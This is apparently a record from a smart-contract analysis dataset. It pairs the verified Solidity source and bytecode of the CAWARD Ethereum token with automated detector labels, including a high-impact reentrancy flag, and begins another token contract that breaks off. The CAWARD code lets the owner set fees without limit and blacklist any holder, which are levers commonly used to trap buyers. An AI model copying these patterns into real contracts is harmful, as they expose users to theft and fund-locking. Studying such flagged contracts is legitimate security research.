766572666c6f777353796e63546f6b656e3a3a5f6d696e74546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f777353796e63546f6b656e3a3a6d696e743a20616d6f756e742065786365656473203936206269747353796e63546f6b656e3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e636553796e63546f6b656e3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747353796e63546f6b656e3a3a7472616e736665723a20616d6f756e742065786365656473203936206269747353796e63546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773a365627a7a723158204efe4265ffc256ad8b23e5609c3b1909926a0d71fe8f108363fcbe9493a711146c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,416 |
0x24254FF0BFa6C56CcE0e557fb46554c1c23a8231
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
$CAW Rewards & Burn Mechanism
Locked & Rennounce - Community Owned just like $CAW
https://t.me/caward
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CAWARD is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CAW REWARD";//
string private constant _symbol = "CAWARD";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 12;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 15;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x53D0662df09726D716bd8694B451A821e53276C8);//
address payable private _marketingAddress = payable(0x53D0662df09726D716bd8694B451A821e53276C8);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 33000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054b578063dd62ed3e14610561578063ea1644d5146105a7578063f2fde38b146105c757600080fd5b8063a9059cbb146104c6578063bfd79284146104e6578063c3c8cd8014610516578063c492f0461461052b57600080fd5b80638f9a55c0116100d15780638f9a55c01461044157806395d89b411461045757806398a5c31514610486578063a2a957bb146104a657600080fd5b80637d1db4a5146103ed5780638da5cb5b146104035780638f70ccf71461042157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b67565b6105e7565b005b34801561020a57600080fd5b5060408051808201909152600a81526910d055c8149155d0549160b21b60208201525b60405161023a9190611c99565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611ab7565b610686565b604051901515815260200161023a565b34801561027f57600080fd5b50601554610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50683635c9adc5dea000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611a76565b61069d565b3480156102fd57600080fd5b506102c360195481565b34801561031357600080fd5b506040516009815260200161023a565b34801561032f57600080fd5b50601654610293906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611a03565b610706565b34801561036f57600080fd5b506101fc61037e366004611c33565b610751565b34801561038f57600080fd5b506101fc610799565b3480156103a457600080fd5b506102c36103b3366004611a03565b6107e4565b3480156103c457600080fd5b506101fc610806565b3480156103d957600080fd5b506101fc6103e8366004611c4e565b61087a565b3480156103f957600080fd5b506102c360175481565b34801561040f57600080fd5b506000546001600160a01b0316610293565b34801561042d57600080fd5b506101fc61043c366004611c33565b6108a9565b34801561044d57600080fd5b506102c360185481565b34801561046357600080fd5b5060408051808201909152600681526510d055d0549160d21b602082015261022d565b34801561049257600080fd5b506101fc6104a1366004611c4e565b6108f5565b3480156104b257600080fd5b506101fc6104c1366004611c67565b610924565b3480156104d257600080fd5b506102636104e1366004611ab7565b610962565b3480156104f257600080fd5b50610263610501366004611a03565b60116020526000908152604090205460ff1681565b34801561052257600080fd5b506101fc61096f565b34801561053757600080fd5b506101fc610546366004611ae3565b6109c3565b34801561055757600080fd5b506102c360085481565b34801561056d57600080fd5b506102c361057c366004611a3d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506101fc6105c2366004611c4e565b610a64565b3480156105d357600080fd5b506101fc6105e2366004611a03565b610a93565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161061190611cee565b60405180910390fd5b60005b81518110156106825760016011600084848151811061063e5761063e611e35565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067a81611e04565b91505061061d565b5050565b6000610693338484610b7d565b5060015b92915050565b60006106aa848484610ca1565b6106fc84336106f785604051806060016040528060288152602001611e77602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061125f565b610b7d565b5060019392505050565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161061190611cee565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161061190611cee565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107ce57506014546001600160a01b0316336001600160a01b0316145b6107d757600080fd5b476107e181611299565b50565b6001600160a01b0381166000908152600260205260408120546106979061131e565b6000546001600160a01b031633146108305760405162461bcd60e51b815260040161061190611cee565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a45760405162461bcd60e51b815260040161061190611cee565b601755565b6000546001600160a01b031633146108d35760405162461bcd60e51b815260040161061190611cee565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161061190611cee565b601955565b6000546001600160a01b0316331461094e5760405162461bcd60e51b815260040161061190611cee565b600993909355600b91909155600a55600c55565b6000610693338484610ca1565b6013546001600160a01b0316336001600160a01b031614806109a457506014546001600160a01b0316336001600160a01b0316145b6109ad57600080fd5b60006109b8306107e4565b90506107e1816113a2565b6000546001600160a01b031633146109ed5760405162461bcd60e51b815260040161061190611cee565b60005b82811015610a5e578160056000868685818110610a0f57610a0f611e35565b9050602002016020810190610a249190611a03565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5681611e04565b9150506109f0565b50505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161061190611cee565b601855565b6000546001600160a01b03163314610abd5760405162461bcd60e51b815260040161061190611cee565b6001600160a01b038116610b225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610611565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610611565b6001600160a01b038216610c405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610611565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610611565b6001600160a01b038216610d675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610611565b60008111610dc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610611565b6000546001600160a01b03848116911614801590610df557506000546001600160a01b03838116911614155b1561115857601654600160a01b900460ff16610e8e576000546001600160a01b03848116911614610e8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610611565b601754811115610ee05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610611565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2257506001600160a01b03821660009081526011602052604090205460ff16155b610f7a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610611565b600854610f88906001611d94565b4311158015610fa457506016546001600160a01b038481169116145b8015610fbe57506015546001600160a01b03838116911614155b8015610fd357506001600160a01b0382163014155b15610ffc576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611081576018548161101e846107e4565b6110289190611d94565b106110815760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610611565b600061108c306107e4565b6019546017549192508210159082106110a55760175491505b8080156110bc5750601654600160a81b900460ff16155b80156110d657506016546001600160a01b03868116911614155b80156110eb5750601654600160b01b900460ff165b801561111057506001600160a01b03851660009081526005602052604090205460ff16155b801561113557506001600160a01b03841660009081526005602052604090205460ff16155b1561115557611143826113a2565b4780156111535761115347611299565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119a57506001600160a01b03831660009081526005602052604090205460ff165b806111cc57506016546001600160a01b038581169116148015906111cc57506016546001600160a01b03848116911614155b156111d957506000611253565b6016546001600160a01b03858116911614801561120457506015546001600160a01b03848116911614155b1561121657600954600d55600a54600e555b6016546001600160a01b03848116911614801561124157506015546001600160a01b03858116911614155b1561125357600b54600d55600c54600e555b610a5e8484848461152b565b600081848411156112835760405162461bcd60e51b81526004016106119190611c99565b5060006112908486611ded565b95945050505050565b6013546001600160a01b03166108fc6112b3836002611559565b6040518115909202916000818181858888f193505050501580156112db573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f6836002611559565b6040518115909202916000818181858888f19350505050158015610682573d6000803e3d6000fd5b60006006548211156113855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610611565b600061138f61159b565b905061139b8382611559565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ea576113ea611e35565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143e57600080fd5b505afa158015611452573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114769190611a20565b8160018151811061148957611489611e35565b6001600160a01b0392831660209182029290920101526015546114af9130911684610b7d565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e8908590600090869030904290600401611d23565b600060405180830381600087803b15801561150257600080fd5b505af1158015611516573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611538576115386115be565b6115438484846115ec565b80610a5e57610a5e600f54600d55601054600e55565b600061139b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e3565b60008060006115a8611711565b90925090506115b78282611559565b9250505090565b600d541580156115ce5750600e54155b156115d557565b600d8054600f55600e805460105560009182905555565b6000806000806000806115fe87611753565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163090876117b0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165f90866117f2565b6001600160a01b03891660009081526002602052604090205561168181611851565b61168b848361189b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d091815260200190565b60405180910390a3505050505050505050565b600081836117045760405162461bcd60e51b81526004016106119190611c99565b5060006112908486611dac565b6006546000908190683635c9adc5dea0000061172d8282611559565b82101561174a57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117708a600d54600e546118bf565b925092509250600061178061159b565b905060008060006117938e878787611914565b919e509c509a509598509396509194505050505091939550919395565b600061139b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125f565b6000806117ff8385611d94565b90508381101561139b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610611565b600061185b61159b565b905060006118698383611964565b3060009081526002602052604090205490915061188690826117f2565b30600090815260026020526040902055505050565b6006546118a890836117b0565b6006556007546118b890826117f2565b6007555050565b60008080806118d960646118d38989611964565b90611559565b905060006118ec60646118d38a89611964565b90506000611904826118fe8b866117b0565b906117b0565b9992985090965090945050505050565b60008080806119238886611964565b905060006119318887611964565b9050600061193f8888611964565b90506000611951826118fe86866117b0565b939b939a50919850919650505050505050565b60008261197357506000610697565b600061197f8385611dce565b90508261198c8583611dac565b1461139b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610611565b80356119ee81611e61565b919050565b803580151581146119ee57600080fd5b600060208284031215611a1557600080fd5b813561139b81611e61565b600060208284031215611a3257600080fd5b815161139b81611e61565b60008060408385031215611a5057600080fd5b8235611a5b81611e61565b91506020830135611a6b81611e61565b809150509250929050565b600080600060608486031215611a8b57600080fd5b8335611a9681611e61565b92506020840135611aa681611e61565b929592945050506040919091013590565b60008060408385031215611aca57600080fd5b8235611ad581611e61565b946020939093013593505050565b600080600060408486031215611af857600080fd5b833567ffffffffffffffff80821115611b1057600080fd5b818601915086601f830112611b2457600080fd5b813581811115611b3357600080fd5b8760208260051b8501011115611b4857600080fd5b602092830195509350611b5e91860190506119f3565b90509250925092565b60006020808385031215611b7a57600080fd5b823567ffffffffffffffff80821115611b9257600080fd5b818501915085601f830112611ba657600080fd5b813581811115611bb857611bb8611e4b565b8060051b604051601f19603f83011681018181108582111715611bdd57611bdd611e4b565b604052828152858101935084860182860187018a1015611bfc57600080fd5b600095505b83861015611c2657611c12816119e3565b855260019590950194938601938601611c01565b5098975050505050505050565b600060208284031215611c4557600080fd5b61139b826119f3565b600060208284031215611c6057600080fd5b5035919050565b60008060008060808587031215611c7d57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc657858101830151858201604001528201611caa565b81811115611cd8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d735784516001600160a01b031683529383019391830191600101611d4e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da757611da7611e1f565b500190565b600082611dc957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611de857611de8611e1f565b500290565b600082821015611dff57611dff611e1f565b500390565b6000600019821415611e1857611e18611e1f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209bb80b146a60f18cdace498f781dced3d4fb430fc13df2cec6b50ffdd26a1ef864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,417 |
0x6fAc6A1BCAF55007185894a1fcC27393836644Ab
|
/**
*Submitted for verification at Etherscan.io on 2021-11-19
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/santoryuinu
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
